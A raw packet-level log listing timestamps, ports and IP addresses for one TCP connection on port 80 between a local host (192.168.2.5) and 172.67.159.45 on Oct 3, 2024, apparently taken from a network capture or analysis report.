Oct 3, 2024 05:02:58.870407104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870449066 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870481968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870515108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870531082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870548010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870560884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870582104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870598078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870615959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870625973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870649099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870661974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870682955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870699883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870728970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870846987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870879889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870896101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870913029 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870927095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870945930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.870963097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.870991945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871018887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871052027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871069908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871087074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871107101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871119022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871126890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871153116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871166945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871186018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871203899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871231079 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871437073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871469975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871490002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871503115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871514082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871536016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871551037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871567965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871587038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871599913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871612072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871633053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871646881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871665955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871675968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871716022 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871730089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871750116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871767044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871784925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871794939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871817112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871833086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871850967 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871861935 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871884108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871900082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871917963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871927977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.871952057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.871965885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872001886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872215033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872247934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872266054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872281075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872288942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872309923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872329950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872340918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872349024 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872375011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872390985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872409105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872419119 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872441053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872454882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872473955 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872493982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872508049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872517109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872540951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872556925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872574091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872585058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872606993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872621059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872642040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872657061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872674942 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872695923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872706890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872723103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872740030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872752905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872775078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.872787952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.872821093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873054028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873089075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873102903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873121977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873136044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873174906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873191118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873228073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873243093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873261929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873279095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873291016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873306990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873334885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873691082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873769045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873801947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873836040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873852015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873874903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873891115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873927116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873944044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873961926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.873980999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.873995066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874002934 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874041080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874044895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874074936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874097109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874106884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874116898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874140024 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874152899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874175072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874192953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874219894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874347925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874381065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874397993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874413967 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874420881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874447107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874461889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874480009 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874497890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874512911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874521017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874545097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874560118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874593973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874623060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874656916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874670982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874691010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874700069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874718904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874735117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874771118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874845982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874896049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874897957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874932051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.874944925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.874984026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875014067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875046968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875063896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875081062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875087023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875114918 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875128984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875148058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875164032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875176907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875193119 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875211954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875221014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875245094 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875257015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875297070 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875312090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875329018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875344038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875359058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875363111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875364065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875374079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.875385046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875403881 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.875426054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.961886883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.961992025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962027073 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962059021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962091923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962124109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962157011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962208033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962260008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962292910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962311983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962311983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962311983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962311983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962343931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962376118 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962387085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962410927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962443113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962497950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962532997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962564945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962604046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962637901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962671995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962685108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962685108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962685108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962686062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962686062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962706089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962765932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962765932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.962794065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962887049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962919950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962953091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.962987900 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963021994 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963030100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963030100 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963031054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963031054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963031054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963057041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963114023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963114977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963252068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963284016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963313103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963318110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963332891 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963351011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963377953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963407040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963413000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963448048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963468075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963514090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963577032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963608980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963639975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963668108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963668108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963668108 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963689089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963704109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963726044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963737965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963758945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963772058 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963782072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963805914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963826895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963840008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.963855982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.963891029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964010954 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964045048 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964073896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964077950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964095116 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964112043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964123011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964143991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964163065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964176893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964206934 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964210987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964225054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964243889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964263916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964287043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964499950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964529037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964557886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964562893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964581966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964596033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964623928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964631081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964642048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964663982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964682102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964698076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964720964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964731932 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964742899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964767933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964788914 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964802027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964818954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964832067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964855909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964864969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964879036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964899063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964917898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964925051 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964939117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964946985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964953899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964967012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964970112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964984894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.964992046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.964993000 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965001106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965013027 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965015888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965037107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965038061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965056896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:58.965523005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965547085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965563059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:58.965579033 CEST	80	49705	172.67.159.45	192.168.2.5
